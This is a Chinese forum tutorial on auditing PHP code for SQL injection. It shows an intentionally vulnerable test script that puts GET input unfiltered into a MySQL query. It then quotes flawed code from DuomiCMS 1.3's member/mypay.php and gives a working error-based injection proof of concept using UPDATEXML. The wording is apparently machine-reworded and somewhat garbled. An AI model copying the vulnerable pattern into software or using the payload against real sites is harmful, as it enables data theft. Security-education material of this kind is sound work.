天涯论坛

 找回密码
 立即注册
搜索
查看: 12|回复: 0

PHP代码审计SQL注入篇

[复制链接]

3048

主题

119

回帖

9915万

积分

论坛元老

Rank: 8Rank: 8

积分
99159056
发表于 2024-11-3 10:57:32 | 显示全部楼层 |阅读模式

什么是SQL注入

SQL注入攻击(SQL Injection),简叫作注入攻击,是Web研发中最平常的一种安全漏洞。能够用它来从数据库获取敏锐信息,利用数据库的特性执行添加用户,导出文件等一系列恶意操作,乃至有可能获取数据库乃至系统用户最高权限。

导致SQL注入的原由由于程序有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查找代码,程序在接收后错误的将攻击者的输入做为查找语句的一部分执行,引起原始的查找规律被改变,额外的执行了攻击者精心构造的恶意代码。

SQL注入实例

非常多Web研发认识到SQL查找能够被篡改的,从而把SQL查找当作可信任的命令。殊不知,SQL查找能够绕开拜访掌控,从而绕过身份验证和权限检测的。更有甚者,有可能经过SQL查找去运行主机系统级的命令。

下面将经过有些真实的例子来仔细讲解SQL注入的方式。

 

测试代码如下:

<?php

$uid=$_GET[id];

$sql="SELECT * FROM userinfo where id=$uid";

$conn=mysql_connect (localhost,root,root);

mysql_select_db("sql",$conn);

$result=mysql_query($sql,$conn);

print_r(当前SQL语句: .$sql. 结果: );

print_r(mysql_fetch_row($result));

?>

首要咱们看一下代码:

$uid=$_GET[id]; //获取GET值

$sql="SELECT * FROM userinfo where id=$uid";//执行SQL语句

$conn=mysql_connect (localhost,root,root);

mysql_select_db("sql",$conn);//数据库配配置

$result=mysql_query($sql,$conn);//进行查找SQL语句

print_r(当前SQL语句: .$sql. 结果: );

print_r(mysql_fetch_row($result));//进行打印输出任何的过滤因此利用简单的SQL注入语句就能够直接查找关联需要的信息。

从截图能够看出本来的SQL语句已被注入更改,运用了UNION查找到当前用户。

另一一个多米CMS最新版1.3版本注入实例。

漏洞文件member/mypay.php(14-40行)

if(empty($_SESSION[duomi_user_id])){

showMsg("请先登录","login.php");

exit();

}

elseif($dm==mypay){

   $key=$_POST[cardkey];

if($key==""){showMsg("请输入充值卡号","-1");exit;}

   $pwd=$_POST[cardpwd];

if($pwd==""){showMsg("请输入充值卡秘码","-1");exit;}

   $sqlt="SELECT * FROM duomi_card where ckey=$key";

   $sqlt="SELECT * FROM duomi_card where cpwd=$pwd";

      $row1 = $dsql->GetOne($sqlt);

if(!is_array($row1) OR $row1[status]<>0){

       showMsg("充值卡信息有误","-1");exit;

}else{

       $uname=$_SESSION[duomi_user_name];

       $points=$row1[climit];

       $dsql->executeNoneQuery("UPDATE duomi_card SET    usetime=NOW(),uname=$uname,status=1 WHERE ckey=$key");

       $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname=$uname,status=1 WHERE cpwd=$pwd");

       $dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username=$uname");

       showMsg("恭喜!充值成功!","mypay.php");exit;

}

}

else

{

此处的”cardpwd”变量进行过滤就以POST提交方式传入了数据库导致注入。 构造POC如下(重视此处需要注册用户并且登陆详情请看该文件1-17行):

http://localhost/member/mypay.php?dm=mypay

POSTcardpwd=-1 AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and 1=1





上一篇:PHP代码审计之TaoCMS(SQL注入+SSRF 0day)
下一篇:一块来学PHP代码审计 | 新手入门篇
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

站点统计|Archiver|手机版|小黑屋|天涯论坛 ( 非经营性网站 )|网站地图

GMT+8, 2024-11-23 09:48 , Processed in 0.122397 second(s), 22 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.